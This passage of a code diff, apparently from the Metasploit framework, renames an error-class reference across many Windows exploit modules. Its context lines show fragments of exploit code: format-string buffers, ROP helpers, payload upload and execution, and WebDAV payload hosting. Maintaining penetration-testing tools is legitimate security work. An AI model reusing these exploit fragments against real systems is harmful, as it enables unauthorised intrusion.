a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb +++ b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb @@ -305,7 +305,7 @@ def generate_mof_chm(data) # def exploit if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end @var_mof_name = rand_text_alpha(7) diff --git a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb index 6a517987ddd0a..ce89aba8a153a 100644 --- a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb @@ -499,7 +499,7 @@ def generate_ani(payload, target) ].pack('v') else - fail_with(Exploit::Failure::NoTarget, "Unknown target #{targetr['Method']}") + fail_with(Failure::NoTarget, "Unknown target #{targetr['Method']}") end # Build the ANI file diff --git a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb index 1b0613c12c982..a5fb1c0100fd3 100644 --- a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb +++ b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb @@ -311,7 +311,7 @@ def generate_hlp(target) # def exploit if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end path = File.join(Msf::Config.install_root, "data", "exploits", "runcalc.hlp") diff --git a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb index b96b8bc8cb83f..cd89e94f5b418 100644 --- a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb +++ b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb @@ -339,7 +339,7 @@ def exploit @img_file = rand_text_alpha(rand(2)+1) + ".gif" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end super diff --git a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb index f42461777294d..6b4e61e6df4c4 100644 --- a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb +++ b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb @@ -437,7 +437,7 @@ def exploit @exploit_dll = rand_text_alpha(rand(8)+4) + ".dll" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end print_status("Send vulnerable clients to #{@exploit_unc}.") diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb index f255c00450371..ea21a26f9124a 100644 --- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb +++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb @@ -417,7 +417,7 @@ def generate_rop(buf_addr, rvas) rop_stack.map! { |e| if e.kind_of? String # Meta-replace (RVA) - fail_with(Exploit::Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e] + fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e] rvas['BaseAddress'] + rvas[e] elsif e == :unused @@ -442,7 +442,7 @@ def generate_rop(buf_addr, rvas) end def rva2addr(rvas, key) - fail_with(Exploit::Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key] + fail_with(Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key] rvas['BaseAddress'] + rvas[key] end diff --git a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb index 47b477f2adb96..e359f7b7764f3 100644 --- a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb +++ b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb @@ -107,7 +107,7 @@ def prompt_uplay(cli, request) path = "#{@exploit_unc}#{@share_name}\\#{@basename}.exe" if path.length > 693 - fail_with(Exploit::Failure::Unknown,"Remote path is too long must be < 694 characters") + fail_with(Failure::Unknown,"Remote path is too long must be < 694 characters") return end @@ -421,7 +421,7 @@ def exploit @exploit_unc = "\\\\#{myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe") diff --git a/modules/exploits/windows/browser/webdav_dll_hijacker.rb b/modules/exploits/windows/browser/webdav_dll_hijacker.rb index c21a92f050399..1c3af16aa2c86 100644 --- a/modules/exploits/windows/browser/webdav_dll_hijacker.rb +++ b/modules/exploits/windows/browser/webdav_dll_hijacker.rb @@ -363,7 +363,7 @@ def exploit @exploit_unc = "\\\\#{myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end print_status("Exploit links are now available at #{@exploit_unc}#{datastore['SHARENAME']}\\") diff --git a/modules/exploits/windows/browser/wmi_admintools.rb b/modules/exploits/windows/browser/wmi_admintools.rb index 203571bbbe6fc..706e69252bbdf 100644 --- a/modules/exploits/windows/browser/wmi_admintools.rb +++ b/modules/exploits/windows/browser/wmi_admintools.rb @@ -286,7 +286,7 @@ def generate_rop(buf_addr, rvas) rop_stack.map! { |e| if e.kind_of? String # Meta-replace (RVA) - fail_with(Exploit::Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e] + fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e] rvas['BaseAddress'] + rvas[e] elsif e == :unused @@ -311,7 +311,7 @@ def generate_rop(buf_addr, rvas) end def rva2addr(rvas, key) - fail_with(Exploit::Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key] + fail_with(Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key] rvas['BaseAddress'] + rvas[key] end diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb index f6b0e920c7add..ffc8841ce727d 100644 --- a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb +++ b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb @@ -327,7 +327,7 @@ def exploit @exploit_exe = rand_text_alpha(rand(8)+4) + ".exe" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end msg = Rex::MIME::Message.new diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb index f8f488d05a3d8..6c152fcde4163 100644 --- a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb +++ b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb @@ -323,7 +323,7 @@ def exploit @exploit_exe = rand_text_alpha(rand(8)+4) + ".exe" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end msg = Rex::MIME::Message.new diff --git a/modules/exploits/windows/emc/networker_format_string.rb b/modules/exploits/windows/emc/networker_format_string.rb index 3d5be77dd595e..6d28b36cef377 100644 --- a/modules/exploits/windows/emc/networker_format_string.rb +++ b/modules/exploits/windows/emc/networker_format_string.rb @@ -77,7 +77,7 @@ def exploit begin if (not sunrpc_create('tcp', 0x5F3DD, 2)) - fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed') + fail_with(Failure::Unknown, 'sunrpc_create failed') end fs = "%n" * target['Offset'] diff --git a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb index e0486db53cfaf..a16f41018ec0c 100644 --- a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb +++ b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb @@ -151,11 +151,11 @@ def exploit out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME'])) stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE) if (not stg) - fail_with(Exploit::Failure::Unknown, 'Unable to create output file') + fail_with(Failure::Unknown, 'Unable to create output file') end stm = stg.create_stream("Workbook") if (not stm) - fail_with(Exploit::Failure::Unknown, 'Unable to create workbook stream') + fail_with(Failure::Unknown, 'Unable to create workbook stream') end stm << content stm.close diff --git a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb index d633dd5c29de7..bd59fccc622ff 100644 --- a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb +++ b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb @@ -223,13 +223,13 @@ def exploit out = File.join(datastore['OUTPUTPATH'], datastore['FILENAME']) stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE) if (not stg) - fail_with(Exploit::Failure::Unknown, 'Unable to create output file') + fail_with(Failure::Unknown, 'Unable to create output file') end # PowerPoint Document stream stm = stg.create_stream("PowerPoint Document") if (not stm) - fail_with(Exploit::Failure::Unknown, 'Unable to create "PowerPoint Document" stream') + fail_with(Failure::Unknown, 'Unable to create "PowerPoint Document" stream') end stm << content stm.close @@ -252,7 +252,7 @@ def exploit stm = stg.create_stream("Current User") if (not stm) - fail_with(Exploit::Failure::Unknown, 'Unable to create "Current User" stream') + fail_with(Failure::Unknown, 'Unable to create "Current User" stream') end stm << current_user_stream stm.close diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb index 6f19032787a92..6b139ad3d9b14 100644 --- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb +++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb @@ -121,12 +121,12 @@ def exploit stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE) if (not stg) - fail_with(Exploit::Failure::BadConfig, 'Unable to create output file') + fail_with(Failure::BadConfig, 'Unable to create output file') end stm = stg.create_stream("\x05SummaryInformation") if (not stm) - fail_with(Exploit::Failure::BadConfig, 'Unable to create SummaryInformation stream') + fail_with(Failure::BadConfig, 'Unable to create SummaryInformation stream') end stm << generate_summaryinfo() stm.close @@ -294,7 +294,7 @@ def generate_rop(rvas) rop_stack.map! { |e| if e.kind_of? String # Meta-replace (RVA) - fail_with(Exploit::Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e] + fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e] rvas['BaseAddress'] + rvas[e] elsif e == :unused @@ -311,7 +311,7 @@ def generate_rop(rvas) end def rva2addr(rvas, key) - fail_with(Exploit::Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key] + fail_with(Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key] rvas['BaseAddress'] + rvas[key] end diff --git a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb index fbd1812f92783..5e859db383a85 100644 --- a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb +++ b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb @@ -223,7 +223,7 @@ def generate_rop(rvas) EOS copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string if (copy_stage.length % 4) > 0 - fail_with(Exploit::Failure::Unknown, "The copy stage is invalid") + fail_with(Failure::Unknown, "The copy stage is invalid") end rop_stack = [ @@ -291,7 +291,7 @@ def generate_rop(rvas) rop_stack.map! { |e| if e.kind_of? String # Meta-replace (RVA) - fail_with(Exploit::Failure::Unknown, "Unable to locate key: \"#{e}\"") if not rvas[e] + fail_with(Failure::Unknown, "Unable to locate key: \"#{e}\"") if not rvas[e] rvas['BaseAddress'] + rvas[e] elsif e == :unused @@ -308,7 +308,7 @@ def generate_rop(rvas) end def rva2addr(rvas, key) - fail_with(Exploit::Failure::Unknown, "Unable to locate key: \"#{key}\"") if not rvas[key] + fail_with(Failure::Unknown, "Unable to locate key: \"#{key}\"") if not rvas[key] rvas['BaseAddress'] + rvas[key] end diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb index ab42e88f7f0e4..5061fa4c29874 100644 --- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb +++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb @@ -101,7 +101,7 @@ def upload(filename) print_status("#{peer} - Trying to upload #{::File.basename(filename)}") conn = connect(false, datastore['VERBOSE']) if not conn - fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + fail_with(Failure::Unreachable, "#{@peer} - Connection failed") end # Switch to binary mode diff --git a/modules/exploits/windows/http/altn_securitygateway.rb b/modules/exploits/windows/http/altn_securitygateway.rb index 8b8af0cad68e8..8b8f98c17ca02 100644 --- a/modules/exploits/windows/http/altn_securitygateway.rb +++ b/modules/exploits/windows/http/altn_securitygateway.rb @@ -98,7 +98,7 @@ def exploit print_status("Attempting to automatically select a target...") mytarget = auto_target if mytarget.nil? - fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target") + fail_with(Failure::NoTarget, "Unable to automatically select a target") end print_status("Automatically selected target \"#{mytarget.name}\"") end diff --git a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb index cd8ff1bd4b10f..1583fb43d4439 100644 --- a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb +++ b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb @@ -86,7 +86,7 @@ def exploit }, 5) if not res - fail_with(Exploit::Failure::NotFound, 'The server did not respond to our request') + fail_with(Failure::NotFound, 'The server did not respond to our request') end resp = res.to_s.split(',') @@ -96,7 +96,7 @@ def exploit if user_index.nil? and pass_index.nil? # Not a vulnerable server (blank user/pass doesn't help us) - fail_with(Exploit::Failure::NotFound, 'The server did not return credentials') + fail_with(Failure::NotFound, 'The server did not return credentials') end user = resp[user_index+1].gsub(/\"/, "") diff --git a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb index b907a58eb611e..80b015793b74b 100644 --- a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb +++ b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb @@ -105,7 +105,7 @@ def execute_command(cmd, opts = {}) if ( res and res.body =~ /SUCCESS/ ) #print_good("Executing command...") else - fail_with(Exploit::Failure::Unknown, 'Something went wrong.') + fail_with(Failure::Unknown, 'Something went wrong.') end end @@ -123,7 +123,7 @@ def exploit when 'win' windows_stager else - fail_with(Exploit::Failure::Unknown, 'Target not supported.') + fail_with(Failure::Unknown, 'Target not supported.') end handler diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb index e162cd74f67ae..5129b1359de74 100644 --- a/modules/exploits/windows/http/easyftp_list.rb +++ b/modules/exploits/windows/http/easyftp_list.rb @@ -88,7 +88,7 @@ def check def exploit if (payload.encoded.length > payload_space) - fail_with(Exploit::Failure::Unknown, "Insufficient space for payload, try using a staged, ORD and/or shell payload.") + fail_with(Failure::Unknown, "Insufficient space for payload, try using a staged, ORD and/or shell payload.") end # Fix up ESP, jmp to the beginning of the buffer diff --git a/modules/exploits/windows/http/ektron_xslt_exec.rb b/modules/exploits/windows/http/ektron_xslt_exec.rb index bafc5357c31c2..0a9968b7750bf 100644 --- a/modules/exploits/windows/http/ektron_xslt_exec.rb +++ b/modules/exploits/windows/http/ektron_xslt_exec.rb @@ -184,7 +184,7 @@ def exploit if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/ print_good("Exploitation was successful") else - fail_with(Exploit::Failure::Unknown, "There was an unexpected response to the xslt transformation request") + fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request") end end diff --git a/modules/exploits/windows/http/hp_imc_mibfileupload.rb b/modules/exploits/windows/http/hp_imc_mibfileupload.rb index 8d44ad8ee9a7a..839a641038120 100644 --- a/modules/exploits/windows/http/hp_imc_mibfileupload.rb +++ b/modules/exploits/windows/http/hp_imc_mibfileupload.rb @@ -101,7 +101,7 @@ def exploit print_status("#{@peer} - JSP payload uploaded successfully") register_files_for_cleanup(jsp_name) else - fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP payload upload failed") + fail_with(Failure::Unknown, "#{@peer} - JSP payload upload failed") end print_status("#{@peer} - Executing payload...") diff --git a/modules/exploits/windows/http/hp_mpa_job_acct.rb b/modules/exploits/windows/http/hp_mpa_job_acct.rb index 67ca44de4fda7..fd0b5de559db4 100644 --- a/modules/exploits/windows/http/hp_mpa_job_acct.rb +++ b/modules/exploits/windows/http/hp_mpa_job_acct.rb @@ -240,7 +240,7 @@ def exploit } if payload_url.empty? - fail_with(Exploit::Failure::NotVulnerable, "#{peer} - Failed to upload ASP payload to the target") + fail_with(Failure::NotVulnerable, "#{peer} - Failed to upload ASP payload to the target") end # diff --git a/modules/exploits/windows/http/hp_nnm_ovas.rb b/modules/exploits/windows/http/hp_nnm_ovas.rb index aca3e27935aae..2276dba2ac7da 100644 --- a/modules/exploits/windows/http/hp_nnm_ovas.rb +++ b/modules/exploits/windows/http/hp_nnm_ovas.rb @@ -112,7 +112,7 @@ def exploit when /NNM Release B.07.51/ targ = targets[2] else - fail_with(Exploit::Failure::NoTarget, "Unable to determine a target automatically...") + fail_with(Failure::NoTarget, "Unable to determine a target automatically...") # if snmp is running you could set the target based on community strings end @@ -171,7 +171,7 @@ def exploit_target(targ) end if not resp.nil? - fail_with(Exploit::Failure::Unknown, "The server responded, that wasn't supposed to happen!") + fail_with(Failure::Unknown, "The server responded, that wasn't supposed to happen!") end print_status("Malformed http request sent.") diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb index 8a335fd5c8b8b..f53eda1b5930b 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb @@ -150,7 +150,7 @@ def exploit end if not res - fail_with(Exploit::Failure::Unknown, "Eek! We didn't get a response.. Exploiting this vuln should return one!") + fail_with(Failure::Unknown, "Eek! We didn't get a response.. Exploiting this vuln should return one!") end print_status(res.body) if datastore["NNM_DEBUG"] @@ -158,7 +158,7 @@ def exploit if res.body =~ /graphing applet is being/ print_status("We got the body we were looking for, the session should be coming any second.") else - fail_with(Exploit::Failure::Unknown, "Eek, exploit likely failed. The body didn't contain what we expected.") + fail_with(Failure::Unknown, "Eek, exploit likely failed. The body didn't contain what we expected.") end handler diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb index 7f7fcca75758f..333f800f6440f 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb @@ -153,7 +153,7 @@ def exploit end if not res - fail_with(Exploit::Failure::Unknown, "Eek! We didn't get a response.. Exploiting this vuln should return one!") + fail_with(Failure::Unknown, "Eek! We didn't get a response.. Exploiting this vuln should return one!") end print_status(res.body) if datastore["NNM_DEBUG"] @@ -161,7 +161,7 @@ def exploit if res.body =~ /graphing applet is being/ print_status("We got the body we were looking for, the session should be coming any second.") else - fail_with(Exploit::Failure::Unknown, "Eek, exploit likely failed. The body didn't contain what we expected.") + fail_with(Failure::Unknown, "Eek, exploit likely failed. The body didn't contain what we expected.") end handler diff --git a/modules/exploits/windows/http/httpdx_tolog_format.rb b/modules/exploits/windows/http/httpdx_tolog_format.rb index 81b10b1dd27b6..df8d492b3c69b 100644 --- a/modules/exploits/windows/http/httpdx_tolog_format.rb +++ b/modules/exploits/windows/http/httpdx_tolog_format.rb @@ -162,7 +162,7 @@ def exploit version = get_version if not version - fail_with(Exploit::Failure::Unknown, "The server doesn't appear to be running a vulnerable version of HTTPDX") + fail_with(Failure::Unknown, "The server doesn't appear to be running a vulnerable version of HTTPDX") end re = Regexp.new(Regexp.escape(version)+' - ', true) @@ -174,7 +174,7 @@ def exploit end if (not mytarget) - fail_with(Exploit::Failure::Unknown, 'Unable to automatically detect exploitation parameters') + fail_with(Failure::Unknown, 'Unable to automatically detect exploitation parameters') end print_status("Selected Target: #{mytarget.name}") diff --git a/modules/exploits/windows/http/integard_password_bof.rb b/modules/exploits/windows/http/integard_password_bof.rb index bd9b791fee125..40975de29ad22 100644 --- a/modules/exploits/windows/http/integard_password_bof.rb +++ b/modules/exploits/windows/http/integard_password_bof.rb @@ -96,7 +96,7 @@ def exploit end if not mytarget - fail_with(Exploit::Failure::NoTarget, "Unable to automatically detect the target version") + fail_with(Failure::NoTarget, "Unable to automatically detect the target version") end print_status("Selected Target: #{mytarget.name}") diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index 346b890a03ddf..802b04ecfe90f 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -77,7 +77,7 @@ def check 'uri' => uri }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE - fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed") + fail_with(Failure::Unreachable, "#{peer} - Connection failed") end if !res or res.headers['Server'].empty? @@ -111,7 +111,7 @@ def upload(filename, filedata) 'data' => post_data }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE - fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed") + fail_with(Failure::Unreachable, "#{peer} - Connection failed") end return res diff --git a/modules/exploits/windows/http/novell_imanager_upload.rb b/modules/exploits/windows/http/novell_imanager_upload.rb index 4534925e48220..27a9f763fb99b 100644 --- a/modules/exploits/windows/http/novell_imanager_upload.rb +++ b/modules/exploits/windows/http/novell_imanager_upload.rb @@ -89,7 +89,7 @@ def exploit }, 5) handler else - fail_with(Exploit::Failure::Unknown, 'POST failed') + fail_with(Failure::Unknown, 'POST failed') end end diff --git a/modules/exploits/windows/http/osb_uname_jlist.rb b/modules/exploits/windows/http/osb_uname_jlist.rb index 436f8f3a783d2..09d8223cb7848 100644 --- a/modules/exploits/windows/http/osb_uname_jlist.rb +++ b/modules/exploits/windows/http/osb_uname_jlist.rb @@ -106,7 +106,7 @@ def exploit when 'win' windows_stager else - fail_with(Exploit::Failure::Unknown, 'Target not supported.') + fail_with(Failure::Unknown, 'Target not supported.') end handler diff --git a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb index 76c53578049e6..f47672a000cc1 100644 --- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb +++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb @@ -119,20 +119,20 @@ def send_evil_request(uri, cmd, timeout) }, timeout) if !res - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit failed.") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Exploit failed.") end if res.code != 200 vprint_error("#{rhost}:#{rport} - Output: #{res.body}") - fail_with(Exploit::Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed.") + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed.") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server.") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server.") end if not res.body.include?("Process created") vprint_error("#{rhost}:#{rport} - Output: #{res.body}") - fail_with(Exploit::Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed.") + fail_with(Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed.") end return res end diff --git a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb index 861ef8bd3a3a9..5780204562662 100644 --- a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb +++ b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb @@ -418,7 +418,7 @@ def exploit @exploit_unc = "\\\\#{myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe") diff --git a/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb b/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb index e7dc233d30def..5875e8e739133 100644 --- a/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb @@ -140,12 +140,12 @@ def execute_command(cmd, opts) abort("Exploit not complete, check credentials") elsif body.match(/Permission denied/i) print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions") - fail_with(Exploit::Failure::NoAccess, "Exploit not complete, check credentials") + fail_with(Failure::NoAccess, "Exploit not complete, check credentials") end end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "Could not access SAP service") + fail_with(Failure::Unreachable, "Could not access SAP service") break end end diff --git a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb index 67e30ae88dba3..de82060eebea5 100644 --- a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb +++ b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb @@ -147,7 +147,7 @@ def exploit register_files_for_cleanup(exe_filename) @dropper = dropper_filename else - fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed") + fail_with(Failure::Unknown, "#{@peer} - JSP upload failed") end print_status("#{@peer} - Executing payload") diff --git a/modules/exploits/windows/iis/ms01_026_dbldecode.rb b/modules/exploits/windows/iis/ms01_026_dbldecode.rb index 61d34f5695ed3..ad08eaf3ce712 100644 --- a/modules/exploits/windows/iis/ms01_026_dbldecode.rb +++ b/modules/exploits/windows/iis/ms01_026_dbldecode.rb @@ -168,7 +168,7 @@ def exploit # try to detect the windows directory @win_dir = detect_windows_dir() if not @win_dir - fail_with(Exploit::Failure::NoTarget, "Unable to detect the target host windows directory (maybe not vulnerable)!") + fail_with(Failure::NoTarget, "Unable to detect the target host windows directory (maybe not vulnerable)!") end end print_status("Using windows directory \"#{@win_dir}\"") diff --git a/modules/exploits/windows/imap/eudora_list.rb b/modules/exploits/windows/imap/eudora_list.rb index 5c5d6ba4eea29..0112363d22377 100644 --- a/modules/exploits/windows/imap/eudora_list.rb +++ b/modules/exploits/windows/imap/eudora_list.rb @@ -95,7 +95,7 @@ def exploit if mytarget print_status("Automatically detected \"#{mytarget.name}\" ...") else - fail_with(Exploit::Failure::NoTarget, 'Unable to automatically detect a target') + fail_with(Failure::NoTarget, 'Unable to automatically detect a target') end else mytarget = target diff --git a/modules/exploits/windows/isapi/w3who_query.rb b/modules/exploits/windows/isapi/w3who_query.rb index bd7d2e5a5d136..9a4e76f981bfc 100644 --- a/modules/exploits/windows/isapi/w3who_query.rb +++ b/modules/exploits/windows/isapi/w3who_query.rb @@ -100,7 +100,7 @@ def exploit end if not mytarget - fail_with(Exploit::Failure::NoTarget, "No valid target found") + fail_with(Failure::NoTarget, "No valid target found") end buf = rand_text_english(8192, payload_badchars) diff --git a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb index 50a7c3ad46479..98d17c2ce6e3c 100644 --- a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb +++ b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb @@ -116,7 +116,7 @@ def collect_addresses kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll") @addresses['kernel32.dll'] = kernel32["return"] if @addresses['kernel32.dll'] == 0 - 